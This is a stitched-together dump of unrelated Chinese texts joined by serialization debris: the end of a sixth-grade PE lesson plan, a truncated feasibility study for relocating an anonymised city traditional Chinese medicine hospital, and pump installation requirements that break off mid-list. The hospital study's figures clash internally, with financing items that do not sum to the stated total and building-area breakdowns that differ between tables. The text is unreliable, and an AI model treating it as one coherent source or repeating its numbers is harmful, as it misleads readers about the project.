（2）练习方法:

@#@成纵队，四人一组依次进行练习。

@#@@#@（3）注意事项:

@#@1、先让学生徒手挥臂练习几次，随后听教师口令统一投掷。

@#@@#@2、要求投掷时注意蹬腿、转体、挥臂的动作。

@#@@#@3、在场地上划两条15米长的并行线距离2米，一条线为投掷线，另一条为预备线。

@#@@#@4、听到老师喊"@#@预备"@#@才能进入投掷区，按老师统一口令掷和捡回投掷物。

@#@@#@5、注意安全，防止事故。

@#@@#@2．拉绳比跳@#@

（1）方法:

@#@参加游戏的分成人数相等的两队，均成一列横队相对站在两条线后，两队排头分别站在两个圆圈内，各握绳的一端。

@#@游戏开始，两人同时做连续单脚跳，并用力拉绳，能把对方拉出圈外或迫使对方提起的脚着地，得一分，然后两队依次换人进行。

@#@最后以得分多的队为胜。

@#@@#@

（2）规则:

@#@1、互拉绳时，绳脱手，脚踩线，换脚跳均为失败。

@#@@#@2、双方同时失败均不得份，两队各换下一人进行。

@#@@#@（3）注意事项:

@#@1、要进行安全教育，严禁开玩笑或在用力拉时松手。

@#@2、分组时注意体力强弱调配要适当，男女生可分组进行比赛。

@#@@#@三、结束部分:

@#@（4'@#@）@#@1·@#@整理放松;@#@@#@2·@#@小结、讲评;@#@@#@3·@#@宣布下次课内容，@#@4·@#@下课。

@#@@#@六年级体育教案@#@教学内容：

@#@1.俯撑成分腿立撑2.放松跑@#@教学目标：

@#@@#@1.掌握俯撑成分腿立撑动作，发展学生的灵敏和柔韧素质。

@#@@#@2.培养学生跑的能力。

@#@@#@教学过程:

@#@@#@一、准备部分:

@#@（8'@#@）@#@1．师生问好@#@2．队列练习：

@#@列队法。

@#@@#@3．准备活动，慢跑两圈；@#@韵律操6节。

@#@@#@二、基本部分，（28'@#@）@#@1．俯撑成分腿立撑@#@

（1）动作:

@#@由俯撑开始，两脚用力蹬地。

@#@同时弓身收腹，提臀成分腿屈体立撑。

@#@@#@

（2）教师讲解示范。

@#@@#@（3）练习方法:

@#@分组练习，教师分别辅导。

@#@@#@（4）注意事项：

@#@1、学生做俯撑时，首先强调身体姿势的正确，同时动作有节奏。

@#@@#@2、教师要随时纠正学生的塌腰、撅臀等错误动作。

@#@@#@3、严格要求、区别对待。

@#@@#@2．放松跑@#@

（1）动作:

@#@用中等或中等以上速度跑。

@#@跑时要保持正确的跑动姿势，后蹬时，蹬地腿要伸直，后蹬后大腿向前上方摆动。

@#@落地时用前脚掌地。

@#@两臂屈肘有力地前后摆动。

@#@跑的动作要自然，放松、协调。

@#@@#@

（2）教师讲解示范。

@#@@#@（3）练习方法:

@#@1、先练习两组原地摆臂。

@#@练习时，以肩为辅，两臂前后摆动要自然放松。

@#@2、两人一组或四人一组，听口令按顺序练习，教师注意及时纠正错误动作。

@#@@#@三、结束部分；@#@（4'@#@）@#@1.整理放松；@#@@#@2.小结、讲评；@#@@#@3宣布下次课内容；@#@";i:

4;s:

27001:

"XX市中医院异地建设项目可行性研究报告@#@ @#@@#@XX市中医院异地建设项目可行性研究报告@#@ @#@@#@第一章总论@#@1.1项目名称及承办单位情况@#@1.1.1项目名称@#@×@#@×@#@市中医院异地建设项目@#@1.1.2项目建设单位@#@×@#@×@#@市中医院@#@1.1.3项目建设单位负责人@#@×@#@×@#@×@#@@#@1.1.4项目建设性质@#@异地建设@#@1.1.5建设单位简介@#@×@#@×@#@市中医院是一所具有五十年的发展历史，集医疗、教学、科研为一体的综合性三级甲等中医院。

@#@医院分东西两院和一个治疗中心，分别坐落于×@#@×@#@市×@#@×@#@区曙光路463号、二道区和顺二条48号和重庆路173号，医院总建筑面积21600m2，占地面积18300m2。

@#@@#@医院为三级甲等，共有床位555张。

@#@设有内、外、妇、眼、骨伤、肛肠等10余个疗区及门诊专科，辅助业务科室30余个。

@#@医院在职员工748人，其中初级职称172人，中级职称191人，高级职称116人。

@#@@#@1.1.6项目可行性研究报告编制单位@#@×@#@×@#@市工程咨询服务中心@#@工程咨询资质编号：

@#@工咨甲×@#@×@#@×@#@×@#@×@#@×@#@×@#@×@#@×@#@×@#@×@#@@#@1.2编制的依据与范围@#@1.2.1项目可行性研究报告编制的依据@#@1.中华人民共和国国务院令第374号《中华人民共和国中医药条例》@#@2.《中医药事业发展“十一五”规划》@#@3.《中医医院建设标准》（建标〔2008〕97号）@#@4.《综合医院建设标准》（建标〔2008〕164号）@#@5.《建设项目经济评价方法与参数（第三版）》（发改投资〔2006〕1325号）@#@6.《重点中医医院建设与发展规划》@#@7.《地市级以上重点中医医院建设指导意见》@#@8.《中医医院中医药文化建设指南（国中医药发〔2009〕23号）》@#@9.《大型医用设备配置与管理办法》（卫规财发〔2004〕474号）@#@10.《投资项目可行性研究指南（试用版）》@#@11.×@#@×@#@市中医院与×@#@×@#@市工程咨询服务中心签订的技术咨询合同@#@12.项目建设单位提供的有关数据、资料。

@#@@#@1.2.2项目可行性研究报告研究范围@#@本可研报告对×@#@×@#@市中医院异地建设的必要性及项目的建设规模与方案、投资估算等进行研究。

@#@@#@1.3项目概况@#@1、建设地点@#@项目建设地点在×@#@×@#@市×@#@×@#@区，原×@#@×@#@市第四中学用地范围内，西至×@#@×@#@路，东邻规划路，南至×@#@×@#@×@#@中学。

@#@土地取得方式为划拨。

@#@@#@2、建设规模@#@本项目建设规模为504张床位；@#@总用地面积24891m2；@#@建筑规模47433m2。

@#@@#@3、实施进度@#@本项目建设期为25个月，自2009年12月至2011年12月。

@#@@#@4、项目投资、融资情况@#@本项目总投资21357.00万元。

@#@@#@本项目融资方案为：

@#@@#@①地方政府配套资金1200万元；@#@@#@②申请国债资金1200万元；@#@@#@③自筹16601.12万元。

@#@@#@1.4项目主要技术经济指标@#@主要技术经济指标表@#@序号@#@名称@#@单位@#@指标@#@备注@#@1@#@建设规模@#@床位@#@504@#@2@#@规划指标@#@2.1@#@建筑面积@#@m2@#@47433@#@其中：

@#@地上38823m2，地下8610m2（含人防3500m2）。

@#@@#@2.2@#@用地面积@#@m2@#@24891@#@2.3@#@绿化面积@#@m2@#@9143.4@#@2.4@#@容积率@#@1.52@#@2.5@#@绿地率@#@％@#@36.73@#@续表：

@#@@#@序号@#@名称@#@单位@#@指标@#@备注@#@3@#@项目总投资@#@万元@#@21357.00@#@4@#@单位使用效益投资@#@万元/床位@#@39.60@#@元/m2@#@4446.54@#@5@#@单位功能运营成本@#@元/床位@#@10.13@#@元/m2@#@1137.50@#@ @#@@#@第二章项目提出背景及建设必要性@#@2.1项目提出背景@#@1.医院现状@#@×@#@×@#@市中医院是一所具有五十年的发展历史，分为东西两院和一个治疗中心，分别坐落于×@#@×@#@市×@#@×@#@区曙光路463号、二道区和顺二条48号和重庆路173号，医院总建筑面积21600m2，占地面积18300m2。

@#@@#@医院现有床位555张。

@#@设有内、外、妇、眼、骨伤、肛肠等科室46个，其中门诊科室27个，医技科室6个，住院疗区11个，现有编制人员748人。

@#@@#@×@#@×@#@市中医院作为集医疗、教学、科研为一体的综合性三级甲等医院，是×@#@×@#@省知名的中医院，目前存在的主要问题如下：

@#@@#@

（1）目前，×@#@×@#@市中医院的医疗力量分散在三处，且受限于各处的实际条件，已不能再进行规模扩大，不便于集中技术力量进行医学攻关、科技研究，也不利于患者就诊。

@#@@#@

（2）随着医疗卫生事业的发展，医院现有的（急）门诊与社会发展和需求不相适应，满足不了不同层次人群的需要。

@#@更满足不了中医院自身发展的需要。

@#@@#@（3）由于医院现有门诊、病房等功能分区不明显、布局不合理，因此给患者带来很多不便。

@#@@#@（4）现有医院门诊楼为30年代的早期建筑，墙体保温差、不节能，给医院造成不必要的能源消耗。

@#@同时原有建筑的房间布局十分不合理。

@#@@#@（5）由于来医院的患者逐年增加，同时带来医院外来车辆的增多，院内经常出现交通不畅，停车难等现象。

@#@@#@基于以上多种因素，要促进×@#@×@#@市中医院医疗卫生事业的建设与发展，提高中医院医疗水平，实现×@#@×@#@市卫生医疗事业发展整体目标，必须通过多渠道筹集资金，把医院现有基础设施做大做强，从而满足中医院未来长远发展的需要。

@#@因此，省、市政府有关部门、市卫生局及医院领导进行了多次的研究讨论，根据《市政府专题会议纪要（第十次）研究×@#@×@#@急救中心、市中医院异地新建有关问题》，确定将原第四中学作为该项目的建设用地。

@#@@#@2.2项目建设的必要性@#@1.项目建设是解决×@#@×@#@市中医院功能分区不合理的需要。

@#@@#@由于医院现有门诊、病房、住院楼等功能分区不明显，常出现挂号难，找不到病房等现象，延误患者救治时间。

@#@本项目的实施将建成功能分布合理的门诊大厅咨询台、电子指示牌、服务中心等。

@#@为患者创造更舒适、更方便的就医环境。

@#@同时对×@#@×@#@区的医疗水平和医疗质量的提高起到积极作用。

@#@@#@2.项目建设有利×@#@×@#@市中医院布局和规划。

@#@@#@由于受到场地的限制，×@#@×@#@市中医院内现有消防通道没有形成环形通道，不利于消防工作的进行。

@#@一旦发生火情将带来巨大损失；@#@近年来医院的患者逐年增加，在院内经常出现交通不畅，停车难等现象。

@#@本项目在×@#@×@#@区原×@#@×@#@市第四中学的场址内建设，用地面积较为充足可以实现在院内形成消防通道，满足消防间距的要求。

@#@在门诊住院楼的前侧和后侧留有停车位供患者和医院职工停车使用，使院内的交通方便管理。

@#@@#@3．项目建设是改善就医环境的需要。

@#@@#@随着医疗卫生事业的发展，医院现有的门诊与社会发展和需求不相适应，满足不了不同层次人群的需要。

@#@现有综合楼为砌体结构建筑，墙体保温差、不节能，给医院造成不必要的能源消耗；@#@原有建筑物的建筑面积和使用功能及楼内的配套设施已经陈旧、老化，早已不能满足广大×@#@×@#@市市民看病就医的需要。

@#@项目的建设将彻底的改变人们对×@#@×@#@市中医院那种原有的“老、破、旧”面貌的认识，项目将建成一座现代化、规范化、舒适化的崭新医院以全新的面貌展现在×@#@×@#@市人民的面前。

@#@为前来救诊患者提供更为舒适的就医环境。

@#@@#@通过以上对×@#@×@#@市中医院医疗卫生服务范围、能力及现状的分析，结合国家、省、市部门对医院建设的相关要求，项目建设是必要的。

@#@@#@ @#@@#@第三章建设规模与内容@#@×@#@×@#@市中医院的技术力量和服务水平，在×@#@×@#@省中医医院中处于领先水平，依据现有技术和新建成的综合楼医疗环境，可以为全市及部分外地患者提供优良的医疗服务。

@#@@#@3.1迁建规模@#@3.1.1中医药医疗事业概况@#@×@#@×@#@地区内现有中医院有×@#@×@#@中医药大学附属医院（×@#@×@#@省中医院），×@#@×@#@市中医院，×@#@×@#@民族医院，×@#@×@#@市×@#@×@#@区、×@#@×@#@区、二道区、双阳区、×@#@×@#@区、×@#@×@#@区中医院，×@#@×@#@市、×@#@×@#@县、×@#@×@#@市、×@#@×@#@市中医院等。

@#@@#@除×@#@×@#@中医药大学附属医院、×@#@×@#@市中医院外的其他中医特色医院规模均较小，所配置的医疗技术人员一般仅几十人。

@#@@#@3.1.2建设规模@#@本项目为×@#@×@#@市中医院搬迁项目，将×@#@×@#@市中医院东院、治疗中心部分搬迁至原×@#@×@#@四中场址。

@#@@#@根据《中医医院建设标准》（建标〔2008〕97号），按每千人口中医院床位为0.22～0.27张床位测算建设规模。

@#@@#@×@#@×@#@地区人口为745.9万人，服务×@#@×@#@地区以外人口按×@#@×@#@地区人口的10%估算，则本项目服务区域人口数为820.49万人。

@#@@#@按每千人0.25张床位测算，则服务区域内共需2052张床位。

@#@@#@目前×@#@×@#@中医药大学附属医院的规模为1000张床位，×@#@×@#@市中医院按剩余服务床位1052张的60%估算，则×@#@×@#@市中医院规模为632张床位，日门（急）诊服务量为1750人次。

@#@@#@×@#@×@#@市中医院现有床位555张，迁建后×@#@×@#@市中医院将增加77张床位，达到632张床位的建设规模，即本项目规模504张床位，原×@#@×@#@市中医院（西院）规模128张床位。

@#@@#@3.1.3建筑规模@#@1、一般功能用房@#@根据《中医医院建设标准》，每床位按84m2/床位计算，则本项目所需建筑面积为42337m2。

@#@@#@2、地下停车场@#@根据《×@#@×@#@市建筑物配建停车场（库）标准》（长规发〔2005〕75号），经初步测算，本项目需配建169个车位。

@#@参考《建设项目交通影响评价技术标准（征求意见稿）》，本项目高峰小时出行率为2226人次。

@#@@#@由于本项目用地范围所限，且车辆较多，车流量大，因此本项目地下建筑中部分设置为地下停车场，地下停车场建筑面积1600m2，可停放小型车辆50辆。

@#@@#@3、人防@#@根据相关规定，本项目需建设人防3500m2。

@#@@#@综上，根据以上分析，考虑医院的实际情况，本项目迁建规模为总建筑面积47437m2；@#@受建筑模数控制，本项目实际建筑面积47433m2，符合《中医医院建设标准》等规范标准的规定。

@#@@#@3.2综合楼建设内容@#@本项目在原×@#@×@#@四中场址内建设综合楼1座，及道路、绿化等配套工程，综合楼建设内容如下：

@#@@#@综合楼建筑面积一览表@#@序号@#@功能用房@#@建筑面积（m2）@#@比例@#@备注@#@一@#@地上@#@38823@#@81.85%@#@1@#@急诊部@#@1355@#@2.86%@#@2@#@门诊部@#@7832@#@16.51%@#@3@#@住院部@#@15030@#@31.69%@#@4@#@医技科室@#@6774@#@14.28%@#@5@#@药剂科室@#@3514@#@7.41%@#@6@#@保障系统@#@1693@#@3.57%@#@7@#@行政管理@#@1566@#@3.30%@#@8@#@生活服务@#@1058@#@2.23%@#@二@#@地下@#@8610@#@18.15%@#@9@#@生活及保障用房@#@3514@#@7.41%@#@10@#@车库@#@1596@#@3.36%@#@11@#@人防@#@3500@#@7.38%@#@合计@#@47433@#@100.00%@#@综合楼建设内容一览表@#@序号@#@功能用房@#@功能用房组成@#@备注@#@1@#@急诊部@#@内科诊室、外科诊室、骨科诊室、中医治疗室、留观室、抢救室、输液室、治疗室、医护休息室、办公室、护士站、收费室、挂号室、药房、化验室、放射室等。

@#@@#@2@#@门诊部@#@①科诊室、外科诊室、皮肤诊室、眼科诊室、耳鼻咽喉诊室、口腔诊室、肿瘤诊室、骨伤科诊室、肛肠诊室、老年病诊室、针灸诊疗室、推拿诊疗室、康复诊室、门诊治疗室、中心输液室、中医换药室、体检中心等。

@#@@#@②感染性疾病科（诊室、挂号、收费、化验、放射、药房）等。

@#@@#@3@#@住院部@#@住院病房、产房等。

@#@@#@4@#@医技科室@#@检验科、血库、放射科、功能检查室、内窥镜室、手术室、病理科、供应室、营养部（含营养食堂）、医疗设备科、中心供氧站、核医学科、介入室、核磁共振室、办公室、休息室等。

@#@@#@5@#@药剂科室@#@中药饮片库房、西药库房、中药调剂室、西药调剂室、临方炮制室、中成药库房、中成药调剂室、周转库、门诊药房、住院药房、中药煎药室、办公室、休息室等。

@#@@#@6@#@保障系统@#@锅炉房、配电室、太平间、洗衣房、总务库房、通讯机房、设备机房、传达室、总务修理等。

@#@@#@7@#@行政管理@#@办公室、计算机房、图书室、档案室等。

@#@@#@8@#@生活服务@#@职工食堂、浴室等。

@#@@#@9@#@大型医疗设备@#@磁共振成像装置（MRI）、X线计算机体层摄影装置（CT）、全自动生化分析系统、全数字彩色多普勒超声诊断仪、腹腔镜、直接数字X线成像装置（DR）、500MA数字胃肠机等。

@#@@#@第四章场址与建设条件@#@4.1建设地点@#@×@#@×@#@市中医院已取得本项目《建设项目选址意见书》，项目建设地点位于×@#@×@#@市×@#@×@#@区，原×@#@×@#@市第四中学用地范围内，西至×@#@×@#@路，东邻规划路，南至×@#@×@#@×@#@中学。

@#@@#@根据×@#@×@#@市国土资源局《关于办理规划手续的函》，本项目用地面积24891m2，土地取得方式为划拨。

@#@@#@4.2场址条件@#@

（一）地形、地貌条件@#@×@#@×@#@城区位于东部山地向西部平原过渡的台地上。

@#@地势东高西低，地貌由台地和平原组成。

@#@其中，台地占70%、平原占30%。

@#@不同的地貌类型对城市建设起着不同的制约作用。

@#@@#@

（二）气象@#@年平均气压986.6mmba@#@全年平均气温4.9℃@#@极端最高温度38℃@#@极端最低温度-36.5℃@#@最热月平均湿度79%@#@年平均相对湿度66%@#@全年总降雨量610.8mm@#@最大积雪厚度180mm@#@主导风向西南风@#@全年平均风速4.3m/s@#@（三）工程地质、水文地质条件@#@×@#@×@#@市属天山～兴安地槽褶皱区吉黑褶皱系松辽拗陷的东部边缘，市区的地表水，较大的河流为第二松花江的支流，也是饮马河的支流—伊通河及其支流—新开河等。

@#@@#@本项目参考的附近建筑《岩土工程勘察报告》如下：

@#@@#@1、场地地形地貌条件@#@场地地貌形态属于波状台地，高差变化较小，地势平坦，高差在0.48m左右。

@#@@#@2、地层、地层结构及岩土性质描述@#@场地各岩土层，自上而下分层如下：

@#@@#@①杂填土：

@#@黑色，由建筑垃圾、炉渣及粘性土组成，稍湿，稍密状态。

@#@层厚：

@#@1.30～2.70米；@#@@#@②粉质粘土：

@#@：

@#@褐黄色，褐黄色，含铁锰质结核。

@#@压缩性中等，稍有摇振反应，稍有光泽，干强度中等，韧性中等。

@#@湿，可塑。

@#@层厚：

@#@0.60～2.00米；@#@@#@③粉质粘土：

@#@褐黄色，压缩性中等，摇振反应中等，无光泽，干强度中等，韧性中等。

@#@湿，软塑。

@#@层厚：

@#@3.90～6.30米。

@#@分布均匀。

@#@@#@④粉质粘土：

@#@褐黄色，含铁锰质结核。

@#@压缩性中等，稍有摇振反应，稍有光泽，干强度中等，韧性中等。

@#@湿，可塑。

@#@层厚：

@#@0.80～3.00米；@#@@#@⑤粉质粘土：

@#@褐黄色，含大量铁锰质结核。

@#@压缩性中等，无摇振反应，有光泽，干强度中等，韧性中等。

@#@稍湿，硬塑。

@#@最大控制层厚：

@#@4.60米。

@#@@#@3、场区水文地质条件@#@本工程抗震设防烈度为7度，设计基本地震加速值为0.10g，设计地震分组为第一组，特征周期T=0.35s。

@#@建场地类别为II类。

@#@@#@勘察期间建筑场区内地下水位埋深在1.40～3.30米，随地势有一定的坡降，主要为粘性土层中的潜水，粉质粘土的渗透系数K=0.1m/d；@#@粘土渗透系数K=0.05m/d；@#@@#@勘察时为枯水季节，抗浮及防水水位按现水位抬高1.50米考虑；@#@@#@场区附近无明显污染源，根据地区经验，不考虑地下水及对混凝土和钢筋的侵蚀性。

@#@@#@地下水位埋深1.50～2.80m，场区地下水受大气降水及径流补给，水位随季节变化。

@#@@#@4.3施工条件@#@

（一）社会环境条件@#@本项目建设区域附近没有大型工业企业，周边规划均为公共设施用地，社会环境良好。

@#@@#@

（二）交通运输条件@#@本项目建场址西侧为×@#@×@#@路，东侧为规划路，据×@#@×@#@火车站仅1km左右，有多条公交线路由场址通过，运输便利。

@#@@#@（三）公用设施条件@#@1、供电条件@#@本项目所需供电电源引自×@#@×@#@路，在建筑物地下设变电室。

@#@@#@2、供、排水条件@#@供水引自市政道路×@#@×@#@路供水管。

@#@雨水采用自然排放，经场区道路汇集后排入×@#@×@#@路DN1000市政雨水管网中；@#@污水经医疗污水处理站处理后达标排入×@#@×@#@路市政污水干管；@#@@#@3、通讯广电接收条件@#@由场址×@#@×@#@路现有主干网络上接入。

@#@@#@4、供热条件@#@供热由×@#@×@#@路引入，规划该条道路供热管径为DN500。

@#@热源为热电一厂集中供热锅炉房。

@#@@#@5、征地拆迁条件@#@本项目所需用地已规划为医疗设施用地，原×@#@×@#@四中已与×@#@×@#@十二中合并为×@#@×@#@市养正高中，已另择新址建设完成。

@#@@#@6、综述@#@本项目周边公共设施齐备、市政基础设施完善，交通便利，施工条件较好，施工用水、用电可直接引自市政管线，能够保证项目建设需要。

@#@@#@ @#@@#@第五章建设方案@#@5.1编制依据@#@

（一）建筑、结构@#@《高层民用建筑设计防火规范》（GB50045-2005）；@#@@#@《建筑抗震设计规范》（GB50011-20012008版）；@#@@#@《砌体结构设计规范》（GB50003-2002）；@#@@#@《民用建筑设计通则》（GB50352-2005）；@#@@#@《建筑地基基础设计规范》（GB50007－2002）；@#@@#@《混凝土结构设计规范》（GB50010-2002）；@#@@#@《高层建筑混凝土结构技术规程》（JGJ3-2002）；@#@@#@《公共建筑节能设计标准》（GB50189-2005）；@#@@#@《建筑地面设计规范》（GB50037-96）；@#@@#@《民用建筑节能设计标准（采暖居住建筑部分）》（JGJ26-95）；@#@@#@《建筑内部装修设计防火规范》（GB50222-95，2001年修订版）；@#@@#@×@#@×@#@省地方标准《公共建筑节能设计标准》（DB22/T436-2006）。

@#@@#@

（二）公用工程@#@《建筑给水排水设计规范》（GB50015-2003）；@#@@#@《民用建筑电气设计规范》（JGJ/T16-2008）；@#@@#@《建筑设计防火规范》（GB50016-2006）；@#@@#@《室外给水设计规范》（GB50013-2006）；@#@@#@《室内给水设计规范》（GB50014-2006）；@#@@#@《民用建筑热工设计规范》（GB50176－93）；@#@@#@《采暖通风与空气调节设计规范》（GB50016-2003）；@#@@#@《高层民用建筑设计防火规范》（GB50045-2005）；@#@@#@《建筑照明设计标准》（GB50034－2004）；@#@@#@《低压配电设计规范》（GB50054-95）；@#@@#@《供配电设计系统规范》（GB50052-95）；@#@@#@《10KV及以下变电所设计规范》（GB50053-94）；@#@@#@《建筑物防雷设计规范》（JGJ50057-94）。

@#@@#@（三）信息化工程@#@《电子计算机场地通用规范》（GB/T-2887-2000）；@#@@#@《电子计算机机房设计规范》（GB50174-93）；@#@@#@《计算站场地安全要求》（GB9361-88）；@#@@#@《电磁辐射防护规定》（GB8702-88）；@#@@#@《通信机房静电防护通则》（YD/TT54-95）；@#@@#@《计算机房用活动地板技术条件》（GB6650-86）；@#@@#@《安全防范工程技术规范》（GB50348－2004）；@#@@#@《安全防范报警设备安全要求和试验办法》（GB16796－1997）；@#@@#@《视频安防监控系统技术要求》（GA/T367－2001）；@#@@#@《民用闭路监控电视系统工程技术规范》（GB50198－94）；@#@@#@《信息技术设备（包括电气事务设备）的安全》（GB4943-95）。

@#@@#@5.2规划方案@#@5.2.1建筑布置@#@医院建筑充分体现“以人为本”的精神，充分展现人与自然、人与人与环境高度融合的思想。

@#@建筑空间组织充分考虑到人的活动需求，创造人性化的、不同层次的空间，为病人提供一个安静、舒适的就医场所。

@#@@#@医院建筑设于场址中部，建筑物前辅以广场、绿地，与场址西侧的医院入口相对。

@#@@#@建筑物内各功能区功能齐全、联系便捷、医疗与保障分区明确，联系方便，构成空间丰富的医疗建筑，为住院病人提供舒适、优美的住院环境，病人能有最迅速、最方便的看病。

@#@@#@5.2.2交通运输@#@总体规划中，采用规整的路网结构辅以环道（兼作消防通道），体现了现代医院的严谨高效和人性化。

@#@路网形态布局则顺应了建筑群中各单体的定位，医院环道使相关的人流线，物流线尽可能缩短，达到通畅，便捷的目的。

@#@@#@参考《建设项目交通影响评价技术标准（征求意见稿）》，本项目出行率按门诊部分300人次/万m2，住院部按3人次/床位计算，则本项目小时高峰出行率为2187人次。

@#@@#@场区内铺设道路及停车场面积约7350m2，其中道路面积约3600m2，道路宽度7m；@#@地上临时停车场面积约3750m2，可停放车辆150辆。

@#@为便于日常维护，采用沥青混凝土路面。

@#@由于此道路行驶车辆多为小型车，荷载较小，因此设计路面总厚度为40cm，初步确定其结构如下：

@#@@#@沥青混凝土面层：

@#@5cm；@#@@#@基层：

@#@20cm二灰碎石10:

@#@20:

@#@70；@#@@#@垫层：

@#@15cm白灰土10:

@#@90。

@#@@#@在场区四周修建通透式围墙，共长580m，在场区四周各设出入口，其中西侧为出入口。

@#@@#@5.2.3环境绿化@#@环境设计布局上采用传统的自然的风景式造园与西方的规整的整形式园林相结合，营造出优美、温馨的环境。

@#@@#@在综合楼前后基本保持现状以现代造园为主，绿化采用几何式、规整式的布局，在园林中引入直线与曲线，让自然与规整相融合。

@#@入口区及病房区设置喷泉及水庭形成活水环境，以此为中心，采用花坛、铺地、草坪、雕塑小品等造园手法，创造一个宜人的室外环境。

@#@@#@在场址大门及建筑物之间设置中医药元素的雕塑、景观。

@#@@#@本项目场区总绿化面积9143.4m2，绿化率36.73％。

@#@主要是沿建筑物和道路周围植草、植树。

@#@@#@5.2.4规划指标@#@总平面指标一览表@#@序号@#@名称@#@单位@#@经济指标@#@规划控制@#@指标@#@备注@#@1@#@用地面积@#@m2@#@24891@#@24981@#@　@#@2@#@建筑面积@#@m2@#@47433@#@其中：

@#@地上37800m2，地下6729m2（含人防1716m2）。

@#@@#@3@#@建筑物基底面积@#@m2@#@8347.6@#@　@#@4@#@建筑物高度@#@m@#@49.8@#@﹤50@#@　@#@5@#@绿化面积@#@m2@#@9143.4@#@　@#@　@#@6@#@道路面积@#@m2@#@3600@#@　@#@道路长520m@#@7@#@地上停车场面积@#@m2@#@3750@#@　@#@　@#@8@#@容积率@#@　@#@1.52@#@﹤1.8@#@9@#@建筑密度@#@％@#@33.54@#@﹤35@#@　@#@10@#@绿地率@#@％@#@36.73@#@﹥35@#@　@#@5.3建筑方案@#@本项目房屋建筑为一类建筑，安全使用年限50年，耐火等级Ⅰ级，屋面防水等级二级，防水年限15年。

@#@@#@5.3.1平面设计@#@中医院建筑物为一座建筑综合体，裙房4层，高17.4m，主楼10层，高49.8m。

@#@@#@根据医院设计的基本原则以及×@#@×@#@市中医院对本项目建筑的使用功能要求，经多方案比较，确定本项目建筑物平面呈“八卦”样式布局，裙房部分中庭，可以使室内景观具有良好的穿透作用，同时对主楼减少日照影响。

@#@@#@各功能用房具体设置由×@#@×@#@市中医院根据实际需要动态、灵活配置。

@#@功能用房概况如下：

@#@@#@一层主要为门诊大厅、急诊部、儿科门诊、出入院大厅、感染科门诊、体检中心、放射科等。

@#@@#@门诊大厅位于西侧中央位置，设置4层通高的中庭，视觉导向明确。

@#@大厅入口中央为垂直交通井，设置3部垂直电梯，同时设置8部自动扶梯作为整个综合楼的竖向交通枢纽，连接各楼层各个功能科室。

@#@大厅入口两侧对应挂号和收费窗口，正面为药剂科等候空间。

@#@弧形医廊北部连接放射科，南部连接住院部；@#@急诊位于门诊南侧，与弧形医廊相接；@#@住院部出入院大厅位于裙房正南，西侧为住院药房和出入院手续办理，东侧为商服配套；@#@药剂科位于门诊大厅西侧，主楼底层，正对主出入口；@#@南部主楼延伸裙房为放射科，便于大型医疗设备安装；@#@儿科门诊设置在北侧一角，独立出入口，单独成为一区；@#@感染科门诊位于东南角，设置分诊单元；@#@体检中心设置在主楼一层东侧，单独设置出入口，方便体检。

@#@@#@二层布置各种医疗空间，主楼和裙房中央设置成弧形医廊，连接各个功能单元。

@#@裙房为各个功能科室，环绕医廊布置。

@#@主楼北侧为医技部，南侧为手术室6间。

@#@延医廊布置采光天井，在达到采光效果的同时也可舒缓病人的紧张情绪。

@#@医技部分为检验、血库、病理等功能，血库就近设置在手术室附近。

@#@@#@三层裙房部分环绕医廊布置各个功能科室，主楼为设备层，主楼北侧裙房部设置为医技电诊科。

@#@@#@四层裙房部";i:

5;s:

28931:

"泵的安装@#@

（1）泵的安装@#@1）一般规定@#@检查泵的安装基础的尺寸、位置和标高是否符合工程设计要求。

@#@@#@泵的开箱检查应符合下列要求：

@#@@#@应按设备技术文件的规定清点泵的零件和部件，不应缺损和锈蚀等；@#@管口保护物和堵盖应完好；@#@@#@核对泵的主要安装尺寸并应与工程设计相符；@#@@#@核对输送特殊介质的泵的主要零件、密封件以及垫片的品种和规格。

@#@@#@出厂时已装配、调整完善的部分不得拆卸。

@#@@#@驱动机与泵连接时,应以泵的轴线为基准找正;@#@驱动机与泵之间有中间机件连接时,应以中间机件轴线为基准找正。

@#@@#@管道的按扎除应符合现行国家标准，《工业金属管道工程施工及验收规范》的规定外，尚应符合下列要求：

@#@@#@管道内部端部清洗洁净，密封面和螺纹不应损伤；@#@@#@吸入管道和输出管道应有各自的支架，泵不得直接承受管道的重量；@#@@#@互相连接的法兰端面应平行；@#@螺纹管接头轴线应对中，不应借法兰螺栓或管接头强行连接；@#@@#@管道与泵连接后，应复查泵的找正精度，当发现因管道连接而引起偏差时，应调@#@管道与泵连接后，不应在其上进行焊接和气割；@#@当需要焊接气割时，应拆下管道或采取其他必要的措施，并应防止焊渣进入泵内；@#@@#@泵的吸入和排除管道的配置应符合设计规定。

@#@@#@润滑、密封、冷却和液压等系统的管道清洗洁净保持畅通；@#@其受压部分应按设备技术文件的规定进行严密性试验。

@#@当无规定时，应按国家现行标准《工业金属管道工程施工及验收规范》的规定执行。

@#@@#@泵的试运转应在其各附属系统单独试运转正常后运行。

@#@@#@泵应在有介质情况下试运转，试运转的介质或代用介质均应符合设计的要求。

@#@@#@2）离心泵的安装@#@泵的清洗和检查应符合下列要求；@#@@#@整体出厂的泵在防锈保证期内，其内部零件不的拆卸，只清洗外表，当超过防锈保证期或有明显缺陷需要拆卸时，其拆卸、清洗和检查应符合设备技术文件的规定。

@#@当无规定时，应符合下列要求：

@#@@#@拆下叶轮部件应清洗干净，叶轮应无缺损；@#@@#@冷却水管道应清洗干净，并保持畅通；@#@@#@管道泵和共轴泵不宜拆卸。

@#@@#@解体出厂的泵的清洗和检查应符合下列要求：

@#@泵的主要零件、部件和附属设备、中分面和套装零件、部件的端面不得有擦伤和划痕；@#@@#@轴的表面不得有裂纹、压伤及其他缺陷；@#@@#@清洗洁净后应去除水分，并将零件、部件和设备表面涂上润滑油，并按装配顺序分类摆放整齐；@#@@#@泵壳垂直中分面不宜拆卸和清洗。

@#@@#@整体安装的泵，纵向安装水平偏差不应大于0.10/1000，横向安装水平偏差不大于0.20/1000，并应在泵的进出口法兰面或其他水平面上进行测量。

@#@@#@解体安装的泵，纵向安装水平偏差均不应大于0.05/1000，并应在水平中分面、轴的外露部分或底座的水平加工面上进行测量。

@#@@#@泵的找正应符合下列要求：

@#@@#@驱动机轴与泵轴、驱动机轴与变速器轴，以联轴器连接时，两半联轴的径向位移、端面间隙、轴线倾斜均应符合设备技术文件的规定。

@#@当无规定时，应符合国家现行标准《机械设备安装工程施工及验收通用规范》的规定；@#@@#@驱动机轴与泵轴以皮带连接时，两轴的平行度、两轮的偏移应符合现行国家标准《机械设备安装工程施工及验收通用规范》的规定；@#@@#@汽轮机驱动的泵和输送高温、低温液体的泵（锅炉给水泵、热油泵、低温泵等）在常温状态下找正时，应按设计规定预留其温度变化的补偿值。

